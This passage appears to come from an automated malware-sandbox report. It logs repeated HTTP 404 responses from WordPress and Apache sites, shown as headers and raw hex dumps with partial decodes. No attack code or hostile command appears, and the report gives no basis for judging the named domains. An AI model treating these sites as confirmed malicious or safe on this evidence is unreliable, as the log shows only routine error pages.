fd 9b a8 9d db da 56 ad e8 0a 57 a4 a9 f4 b0 16 d4 fe ed 4a 6e fd 71 51 fb 37 d2 a8 6d d5 7e 83 7e 8f 5b c0 97 3c aa d4 13 39 bb 7d 10 02 c6 19 34 25 d8 e5 e7 13 e8 1b 57 3a d3 e2 ae d2 b5 a0 46 32 d8 ba ab ed 41 2d 02 d7 72 4c 21 4f 22 54 09 78 56 91 ba dd 5e fb c5 f3 d6 ca cb 6d e3 a9 c1 80 87 9c 09 2f e7 b1 e9 7d cc b4 b7 a3 98 8e 3c 35 f0 f6 b8 86 d0 2a 6d 3c a6 c1 03 01 a1 85 c8 Data Ascii: 2ae3}mw6W0ij-)Y_cWvOo#0(YH8`0 bWO'vk z5z=}Syid\|]iAn.DCI@60IDq-gaB&acn~c+k~,(@&?zTYx[TjyBM=bz7TdC.qg$<P%T1Y6FxuIed5C6DI$$S1*r%ZvZ[S-P,Sm[T0UJ?BWp5Og)tk,M3BHP4VWJnqQ7m~~[<9}4%W:F2A-rL!O"TxV
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:37:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/"Vary: Accept-Encodinghost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressCF-Cache-Status: MISSSet-Cookie: _cfuvid=GdR6J7M7UyeLSOen6FI8vvmIKiL9UZKbqu7AICoDdbc-1720021073312-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnlyServer: cloudflareCF-RAY: 89d7f59a9da42cf5-ORDData Raw: 37 63 66 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 09 20 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 30 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 4c 61 6b 65 6d 6f 6e 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 73 73 6f 63 69 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 4c 61 6b 65 6d 6f 6e 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 73 73 6f 63 69 61 74 69 6f 6e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4c 61 6b 65 6d 6f Data Ascii: 7cf1<!DOCTYPE html><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><meta charset="UTF-8"><meta name='robots' content='noindex, follow' /><!-- This site is optimized with the Yoast SEO plugin v23.0 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - Lakemont Community Association</title><meta property="og:locale" content="en_US" /><meta p
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://vintagewins.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Wed, 03 Jul 2024 15:37:59 GMTserver: LiteSpeedData Raw: 64 37 63 0d 0a d0 66 23 a2 a2 f5 43 22 8a f9 00 68 a4 2c 9c bf 3f 42 86 b9 ff 96 a9 7f 8e 2f 27 4c 67 64 48 10 92 ed ac 72 49 db bf 2c 5b 94 e9 60 f4 24 93 20 d0 87 e7 6d 54 6d 36 c3 fe f9 bc 94 be e4 64 46 92 0b c6 29 af 6f 86 e2 65 3d a1 f8 0c 6c 49 f9 bf fd be 9d 8e 58 0c 54 d3 90 48 9c 4e 93 34 f3 66 d6 1f e2 be 62 f3 e6 8e ac a8 fc 5d cc 56 4c 20 89 67 22 f9 2f 62 92 a8 94 b0 11 5a 63 1b 5b a7 9f 25 2c 18 b5 7d 81 aa 53 91 91 63 b0 23 d7 a0 92 e3 ba a2 58 81 56 44 09 70 ff 38 7b bb c3 de f5 5e d5 bd a2 e0 f3 3f 7f 07 b4 f5 21 7f 49 bf 78 b0 b6 bb e8 df ec 74 4c 80 8a fe 0f 3c 75 3b cc eb 1e 14 4d 38 01 28 6b e4 1f d5 03 29 36 22 08 f2 a7 ef de f2 64 b4 03 b5 c4 f4 e2 9c f5 af 24 82 53 74 88 a1 b5 0e de b8 7d ce 5d 3f 74 32 c4 ae 38 b5 be 58 c2 9d 9e f5 dd 56 9b d7 8d 3d 07 eb 51 77 70 b4 3e cd f1 7f 2d a7 de c5 c1 c8 61 37 e0 78 1a b4 e8 e0 f1 17 dd 01 f1 01 49 37 5b 8b cc de dc af 96 cb 0d 81 67 da 4e b3 7e 52 e5 6f 11 c3 36 60 5a 84 b6 a1 45 af 4f b9 ed 75 07 f9 ff c0 27 84 63 35 03 8d 36 0b 52 3c ce d8 b5 59 34 3e e5 73 7c bf 11 cd 6e c1 72 d0 8b a3 02 c0 17 d9 06 8f 49 76 21 74 0e f4 60 a1 43 40 93 c2 e9 1a 8d 36 f8 22 49 b0 e1 36 49 43 73 05 c8 57 00 4d 7c 04 97 64 fb 9f 6a 01 9a 82 52 2f f7 cf 43 df 83 c7 c4 06 49 f3 16 7e 44 d2 3f 72 71 47 1f 67 c5 25 29 ce 32 91 cb 62 36 c7 fc 57 f9 f1 38 40 1f 5e ec ef 80 68 7d 97 88 22 23 dd ea 04 7f 46 47 2b 26 1a ac 8b ba 48 f2 28 43 ec ea 1f f7 78 ab 0b 13 22 d4 05 82 af 58 17 cb 1b 59 ca 75 5d dc ad 4e 77 ab ba a0 82 c2 09 69 45 67 c8 f1 04 08 9a 0e 1d ce 15 e9 d0 6d 37 a6 43 f7 e5 61 44 3a b4 16 f6 d1 00 ad 46 6a 82 37 1a 59 31 68 20 96 79 11 b7 bb 2e 8e 43 5e 16 6d a8 8b 97 34 11 05 e0 fa f3 08 0e 74 02 d9 5b 2f 5f d2 bb 03 44 75 2b 6f e4 0d 9d a6 cd ac b8 9c 37 1f 61 5f 6b 1d 10 9b 88 de 63 c8 9b 29 70 0f 0d b9 2c 66 f3 df 21 75 c8 ac f0 7c 3c e8 48 82 48 02 36 6e de 89 61 c0 47 8c 67 f7 35 a8 c6 26 16 fd fd 01 09 53 05 a2 42 33 ab 6a 63 09 97 3d f2 bd 0b 3f b7 8c 4f 9b 04 29 d9 e0 7f c7 10 75 07 32 01 7e 8b d0 b3 20 be fb fd e7 9f 64 c2 68 7d 67 db 33 43 ce a7 fa 61 cd 38 4d 2c f4 75 60 20 50 78 3e 82 6c 28 fb 22 7e 03 83 ac 14 a5 00 69 b4 3f e8 24 8b 2b 3a 89 b4 b2 79 51 5c 80 6c ad 73 7f c0 09 19 8a 52 94 7c 13 88 5f b4 87 23 f9 d3 7a 5c af 3e c4 a8 cf 0c 64 07 f8 6d af 3b f8 42 a3 46 ff 84 92 8d 46 cd 45 54 8c af 01 fe af 10 1c d1 1a 2f 02 ca 65 48 60 fd 81 d2 6a 10 58 03 db 43 40 29 15 9f f0 79 e2 42 1e bc bf b4 74 b4 68 76 0c f9 68 74 02 da 3a dd d1 0a f8 4e 78 06 82 d6 fb e6 7e 6d ea 7d d3 b6 eb 7a df 42 d9 d6 fb 55 59 36 f5 7e 75 ab ef a6 86 8c 7a 1d 7d 7b 1a fc dd 7c 59 cd 51 27 6c 5a fd 3a ca 35 75 c6 88 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://vintagewins.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Wed, 03 Jul 2024 15:38:02 GMTserver: LiteSpeedData Raw: 64 37 63 0d 0a d0 66 23 a2 a2 f5 43 22 8a f9 00 68 a4 2c 9c bf 3f 42 86 b9 ff 96 a9 7f 8e 2f 27 4c 67 64 48 10 92 ed ac 72 49 db bf 2c 5b 94 e9 60 f4 24 93 20 d0 87 e7 6d 54 6d 36 c3 fe f9 bc 94 be e4 64 46 92 0b c6 29 af 6f 86 e2 65 3d a1 f8 0c 6c 49 f9 bf fd be 9d 8e 58 0c 54 d3 90 48 9c 4e 93 34 f3 66 d6 1f e2 be 62 f3 e6 8e ac a8 fc 5d cc 56 4c 20 89 67 22 f9 2f 62 92 a8 94 b0 11 5a 63 1b 5b a7 9f 25 2c 18 b5 7d 81 aa 53 91 91 63 b0 23 d7 a0 92 e3 ba a2 58 81 56 44 09 70 ff 38 7b bb c3 de f5 5e d5 bd a2 e0 f3 3f 7f 07 b4 f5 21 7f 49 bf 78 b0 b6 bb e8 df ec 74 4c 80 8a fe 0f 3c 75 3b cc eb 1e 14 4d 38 01 28 6b e4 1f d5 03 29 36 22 08 f2 a7 ef de f2 64 b4 03 b5 c4 f4 e2 9c f5 af 24 82 53 74 88 a1 b5 0e de b8 7d ce 5d 3f 74 32 c4 ae 38 b5 be 58 c2 9d 9e f5 dd 56 9b d7 8d 3d 07 eb 51 77 70 b4 3e cd f1 7f 2d a7 de c5 c1 c8 61 37 e0 78 1a b4 e8 e0 f1 17 dd 01 f1 01 49 37 5b 8b cc de dc af 96 cb 0d 81 67 da 4e b3 7e 52 e5 6f 11 c3 36 60 5a 84 b6 a1 45 af 4f b9 ed 75 07 f9 ff c0 27 84 63 35 03 8d 36 0b 52 3c ce d8 b5 59 34 3e e5 73 7c bf 11 cd 6e c1 72 d0 8b a3 02 c0 17 d9 06 8f 49 76 21 74 0e f4 60 a1 43 40 93 c2 e9 1a 8d 36 f8 22 49 b0 e1 36 49 43 73 05 c8 57 00 4d 7c 04 97 64 fb 9f 6a 01 9a 82 52 2f f7 cf 43 df 83 c7 c4 06 49 f3 16 7e 44 d2 3f 72 71 47 1f 67 c5 25 29 ce 32 91 cb 62 36 c7 fc 57 f9 f1 38 40 1f 5e ec ef 80 68 7d 97 88 22 23 dd ea 04 7f 46 47 2b 26 1a ac 8b ba 48 f2 28 43 ec ea 1f f7 78 ab 0b 13 22 d4 05 82 af 58 17 cb 1b 59 ca 75 5d dc ad 4e 77 ab ba a0 82 c2 09 69 45 67 c8 f1 04 08 9a 0e 1d ce 15 e9 d0 6d 37 a6 43 f7 e5 61 44 3a b4 16 f6 d1 00 ad 46 6a 82 37 1a 59 31 68 20 96 79 11 b7 bb 2e 8e 43 5e 16 6d a8 8b 97 34 11 05 e0 fa f3 08 0e 74 02 d9 5b 2f 5f d2 bb 03 44 75 2b 6f e4 0d 9d a6 cd ac b8 9c 37 1f 61 5f 6b 1d 10 9b 88 de 63 c8 9b 29 70 0f 0d b9 2c 66 f3 df 21 75 c8 ac f0 7c 3c e8 48 82 48 02 36 6e de 89 61 c0 47 8c 67 f7 35 a8 c6 26 16 fd fd 01 09 53 05 a2 42 33 ab 6a 63 09 97 3d f2 bd 0b 3f b7 8c 4f 9b 04 29 d9 e0 7f c7 10 75 07 32 01 7e 8b d0 b3 20 be fb fd e7 9f 64 c2 68 7d 67 db 33 43 ce a7 fa 61 cd 38 4d 2c f4 75 60 20 50 78 3e 82 6c 28 fb 22 7e 03 83 ac 14 a5 00 69 b4 3f e8 24 8b 2b 3a 89 b4 b2 79 51 5c 80 6c ad 73 7f c0 09 19 8a 52 94 7c 13 88 5f b4 87 23 f9 d3 7a 5c af 3e c4 a8 cf 0c 64 07 f8 6d af 3b f8 42 a3 46 ff 84 92 8d 46 cd 45 54 8c af 01 fe af 10 1c d1 1a 2f 02 ca 65 48 60 fd 81 d2 6a 10 58 03 db 43 40 29 15 9f f0 79 e2 42 1e bc bf b4 74 b4 68 76 0c f9 68 74 02 da 3a dd d1 0a f8 4e 78 06 82 d6 fb e6 7e 6d ea 7d d3 b6 eb 7a df 42 d9 d6 fb 55 59 36 f5 7e 75 ab ef a6 86 8c 7a 1d 7d 7b 1a fc dd 7c 59 cd 51 27 6c 5a fd 3a ca 35 75 c6 88 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://vintagewins.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Wed, 03 Jul 2024 15:38:06 GMTserver: LiteSpeedData Raw: 64 37 63 0d 0a d0 66 23 a2 a2 f5 43 22 8a f9 00 68 a4 2c 9c bf 3f 42 86 b9 ff 96 a9 7f 8e 2f 27 4c 67 64 48 10 92 ed ac 72 49 db bf 2c 5b 94 e9 60 f4 24 93 20 d0 87 e7 6d 54 6d 36 c3 fe f9 bc 94 be e4 64 46 92 0b c6 29 af 6f 86 e2 65 3d a1 f8 0c 6c 49 f9 bf fd be 9d 8e 58 0c 54 d3 90 48 9c 4e 93 34 f3 66 d6 1f e2 be 62 f3 e6 8e ac a8 fc 5d cc 56 4c 20 89 67 22 f9 2f 62 92 a8 94 b0 11 5a 63 1b 5b a7 9f 25 2c 18 b5 7d 81 aa 53 91 91 63 b0 23 d7 a0 92 e3 ba a2 58 81 56 44 09 70 ff 38 7b bb c3 de f5 5e d5 bd a2 e0 f3 3f 7f 07 b4 f5 21 7f 49 bf 78 b0 b6 bb e8 df ec 74 4c 80 8a fe 0f 3c 75 3b cc eb 1e 14 4d 38 01 28 6b e4 1f d5 03 29 36 22 08 f2 a7 ef de f2 64 b4 03 b5 c4 f4 e2 9c f5 af 24 82 53 74 88 a1 b5 0e de b8 7d ce 5d 3f 74 32 c4 ae 38 b5 be 58 c2 9d 9e f5 dd 56 9b d7 8d 3d 07 eb 51 77 70 b4 3e cd f1 7f 2d a7 de c5 c1 c8 61 37 e0 78 1a b4 e8 e0 f1 17 dd 01 f1 01 49 37 5b 8b cc de dc af 96 cb 0d 81 67 da 4e b3 7e 52 e5 6f 11 c3 36 60 5a 84 b6 a1 45 af 4f b9 ed 75 07 f9 ff c0 27 84 63 35 03 8d 36 0b 52 3c ce d8 b5 59 34 3e e5 73 7c bf 11 cd 6e c1 72 d0 8b a3 02 c0 17 d9 06 8f 49 76 21 74 0e f4 60 a1 43 40 93 c2 e9 1a 8d 36 f8 22 49 b0 e1 36 49 43 73 05 c8 57 00 4d 7c 04 97 64 fb 9f 6a 01 9a 82 52 2f f7 cf 43 df 83 c7 c4 06 49 f3 16 7e 44 d2 3f 72 71 47 1f 67 c5 25 29 ce 32 91 cb 62 36 c7 fc 57 f9 f1 38 40 1f 5e ec ef 80 68 7d 97 88 22 23 dd ea 04 7f 46 47 2b 26 1a ac 8b ba 48 f2 28 43 ec ea 1f f7 78 ab 0b 13 22 d4 05 82 af 58 17 cb 1b 59 ca 75 5d dc ad 4e 77 ab ba a0 82 c2 09 69 45 67 c8 f1 04 08 9a 0e 1d ce 15 e9 d0 6d 37 a6 43 f7 e5 61 44 3a b4 16 f6 d1 00 ad 46 6a 82 37 1a 59 31 68 20 96 79 11 b7 bb 2e 8e 43 5e 16 6d a8 8b 97 34 11 05 e0 fa f3 08 0e 74 02 d9 5b 2f 5f d2 bb 03 44 75 2b 6f e4 0d 9d a6 cd ac b8 9c 37 1f 61 5f 6b 1d 10 9b 88 de 63 c8 9b 29 70 0f 0d b9 2c 66 f3 df 21 75 c8 ac f0 7c 3c e8 48 82 48 02 36 6e de 89 61 c0 47 8c 67 f7 35 a8 c6 26 16 fd fd 01 09 53 05 a2 42 33 ab 6a 63 09 97 3d f2 bd 0b 3f b7 8c 4f 9b 04 29 d9 e0 7f c7 10 75 07 32 01 7e 8b d0 b3 20 be fb fd e7 9f 64 c2 68 7d 67 db 33 43 ce a7 fa 61 cd 38 4d 2c f4 75 60 20 50 78 3e 82 6c 28 fb 22 7e 03 83 ac 14 a5 00 69 b4 3f e8 24 8b 2b 3a 89 b4 b2 79 51 5c 80 6c ad 73 7f c0 09 19 8a 52 94 7c 13 88 5f b4 87 23 f9 d3 7a 5c af 3e c4 a8 cf 0c 64 07 f8 6d af 3b f8 42 a3 46 ff 84 92 8d 46 cd 45 54 8c af 01 fe af 10 1c d1 1a 2f 02 ca 65 48 60 fd 81 d2 6a 10 58 03 db 43 40 29 15 9f f0 79 e2 42 1e bc bf b4 74 b4 68 76 0c f9 68 74 02 da 3a dd d1 0a f8 4e 78 06 82 d6 fb e6 7e 6d ea 7d d3 b6 eb 7a df 42 d9 d6 fb 55 59 36 f5 7e 75 ab ef a6 86 8c 7a 1d 7d 7b 1a fc dd 7c 59 cd 51 27 6c 5a fd 3a ca 35 75 c6 88 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:14 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:16 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:19 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 